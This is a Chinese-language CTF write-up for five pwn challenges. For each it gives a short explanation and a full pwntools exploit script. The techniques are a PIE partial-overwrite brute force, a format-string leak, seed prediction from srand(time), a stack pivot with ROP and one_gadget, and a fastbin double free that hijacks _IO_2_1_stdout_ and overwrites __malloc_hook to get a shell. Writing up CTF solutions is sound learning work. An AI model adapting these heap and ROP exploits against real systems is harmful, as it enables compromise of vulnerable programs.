xhh

main 函数退出时会调用 buf[2] 里面的函数:

image-20210321215903208

调试看到里面存在的值,是众多错误提示中的一个:

image-20210321220334619

程序存在后门,地址为:0x14E1

image-20210321220645329

由于开启了 PIE 保护,只有最后3位不变,需要爆破倒数第 4 位。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level = 'debug'

payload = "/bin/cat /flag".ljust(0x10,'\x00')
payload += "\xe1\xa4"
while True:
p = process("./xhh")
# gdb.attach(p,"b *$rebase(0x1721)")
p.send(payload)
sleep(0.5)
try:
flag = p.recv()
except:
flag = ""
if "{" in flag or "}" in flag or "flag" in flag:
log.info("flag:"+flag)
# print(flag)
exit(0)
else:
p.close()
sleep(2)

scmt

格式化字符串泄露 token :

image-20210321221113130

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level = 'debug'

# p = process("./scmt")
p = remote("node2.hackingfor.fun",37597)

# gdb.attach(p,"b *0x400B32")

p.recvuntil("name:\n")
payload = "skye%8$p"
p.send(payload)

p.recvuntil("skye")
token = int(p.recv(8),16)
log.info("token:"+hex(token))

p.recvuntil("number:\n")
payload = str(token)
p.sendline(payload)

p.interactive()

easystack

以当前时间设置随机种子:srand(time) ,输入与生成随机数相同 getshell ,那个 scanf 溢出没用到

image-20210321221607148

EXP

不会写 python 随机数生成,曲线救国了一下:

  1. 用 python 获取当前时间+ 1min 的时间戳

    1
    2
    3
    #filename:get_timecode.py
    import time
    int(time.time())+60 #timecode
  2. 用 c 设置随机种子并生成随机数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #filename:time_random.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    int main() {
    int a;
    srand(1616233265);//timecode
    a = rand();
    printf("%d\n", a);
    return 0;
    }
  3. 爆破脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    from pwn import *
    context.log_level = "debug"

    payload = p32(648729124) #time_random

    while True:
    # p = process("./easystack")
    p = remote("node2.hackingfor.fun",39669)
    # p.recvuntil("!!\n")
    p.sendline(payload)
    flag = p.recv()
    if "{" in flag or "}" in flag:
    print(flag)
    exit(0)
    else:
    p.close()
    sleep(0.2)

easypwn

输入 name 有一个 sprintf 存在格式化字符串漏洞:

image-20210323225253144

修改 main 函数的 rbp 最后一个字节为 \x00 ,也可以其他,对齐 0x8 就行。有几率刚好撞上 main 函数中输入的 teamname :

image-20210323225539892

由于 teamname 长度限制需要先栈迁移再泄露 libc & 写入下一步 ROP 。

迁移后泄露地址,有了 libc 地址,构造 getshell 。尝试 system(‘/bin/sh’) 报错,用 onegadget 可以。

人品极差就会卡在奇奇怪怪地方循环,或者直接崩掉

easypwn循环

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context.log_level = "debug"

p = process("./easypwn")
elf = ELF("./easypwn")
libc = ELF("./libc.so.6")

pop_rdi_ret = 0x0000000000400be3
pop_rsi_r15_ret = 0x0000000000400be1
pop_rbp_ret = 0x00000000004007c8
leave_ret = 0x0000000000400a1f
bss = 0x602080

p.recvuntil("teamname: ")

gdb.attach(p,"b *0x400940")
# gdb.attach(p,"b *0x400AE8")

payload = p64(0xdeadbeef)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(bss+0x350)*2
payload += p64(elf.plt['read'])
payload += p64(pop_rbp_ret) + p64(bss+0x350-0x8)
payload += p64(leave_ret)
# payload = 'a'*0x50
p.send(payload)

p.recvuntil("name\n")
p.send("%22$hhn")

p.recvuntil("introduction\n")
p.send('b'*0x38)

sleep(0.4)

payload = p64(pop_rdi_ret) + p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(bss+0x250)*2
payload += p64(elf.plt['read'])
payload += p64(pop_rbp_ret) + p64(bss+0x250-0x8)
payload += p64(leave_ret)
p.send(payload)

# puts_addr = u64(p.recv(6).ljust(8,'\x00'))
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.info("puts_addr:"+hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_str = libc_base + libc.search("/bin/sh").next()

# payload = p64(pop_rdi_ret) + p64(binsh_str)
# payload += p64(system_addr)

payload = p64(libc_base + 0x4f432)

p.send(payload)

p.interactive()

sooooeasy

libc2.23 uaf 没有输出功能。攻击 _IO_2_1_stdout 结构体来实现 libc 地址泄露:通过低字节覆盖 unsorted bin 留下的 main_arena 指针,再加以爆破 4 位,就能分配到 _IO_2_1_stdout ,通过篡改 _IO_2_1_stdout 的 flags 为 0x0FBAD1887 ,_IO_write_base 低字节覆盖,然后当程序调用 puts 输出任意信息时,就会输出 _IO_write_base 到 _IO_write_ptr 之间的数据,而这之间就有 libc 的指针。

劫持 stdout 泄露 libc 地址方法原理:

https://blog.csdn.net/seaaseesa/article/details/105590591

http://blog.eonew.cn/archives/1190

EXP

一开始又遇到堆数量达到上限,可以调整减少堆数量,官网 wp 通过释放两次同一个堆触发 malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#encoding:utf-8
from pwn import *
context.log_level='debug'

def command(id):
p.recvuntil("choice : ")
p.sendline(str(id))
def add(size,name,message):
command(1)
p.recvuntil("name: \n")
p.sendline(str(size))
p.recvuntil("name:\n")
p.send(name)
p.recvuntil("message:\n")
p.sendline(message)
def delete(id):
command(2)
p.recvuntil("index:\n")
p.sendline(str(id))

def pwn():
add(0x68,'a'*8,'a'*8) #0
add(0x68,'b'*8,'b'*8)
add(0xf8,'c'*8,'c'*8) #2
add(0x68,'d'*8,'d'*8) #3

# unsortedbin 写入 main_arena 指针
delete(2)

add(0x28,'\x00','f'*8)

# 写入爆破地址,这里爆破的是stdout上面的_IO_wide_data_2,利用偏移构造出fastbin size位
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
add(0x68,p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF)),'g'*8)
# add(0x60,p16(0x25dd),'g'*8)

# fastbin double free
delete(0)
delete(3)
delete(0)

add(0x68,p8(0),'1'*8)
add(0x68,p8(0),'2'*8)
add(0x68,p8(0),'3'*8)
add(0x68,p8(0),'4'*8)

# hijack stdout
payload = '\x00'*0x33 + p64(0x0FBAD1887) +p64(0)*3 + p8(0x88)
command(1)
p.recvuntil("name: \n")
p.sendline(str(0x60))
p.recvuntil("name:\n")
p.send(payload)

_IO_2_1_stdin_ = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.info("_IO_2_1_stdin_:"+hex(_IO_2_1_stdin_))

p.recvuntil("message:\n")
p.sendline('5'*8)

libc_base = _IO_2_1_stdin_ - libc.symbols['_IO_2_1_stdin_']
log.info("libc_base:"+hex(libc_base))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.info("malloc_hook:"+hex(malloc_hook))
realloc_hook = libc_base + libc.symbols['__realloc_hook']
log.info("realloc_hook:"+hex(realloc_hook))
realloc = libc_base + libc.symbols['realloc']
log.info("realloc:"+hex(realloc))
onegadget = libc_base + 0x4527a
log.info("onegadget:"+hex(onegadget))
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# fastbin double free
delete(6)
delete(7)
delete(6)
add(0x68,p64(malloc_hook-0x23),'\x00')
add(0x68,'z','z')
add(0x68,'x','x')

payload = 'a'*0xb+p64(onegadget)+p64(realloc+13)
add(0x68,payload,'y')

command(1)

p.interactive()

if __name__ == '__main__':
p = process("./sooooeasy")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
while True:
try:
pwn()
exit(0)
except:
p.close()
p = process("./sooooeasy")

参考文章

利用 IO_2_1_stdout 泄露信息

glibc从堆任意分配到攻击IO流达到泄露信息&realloc特性&unsorted bin expand总结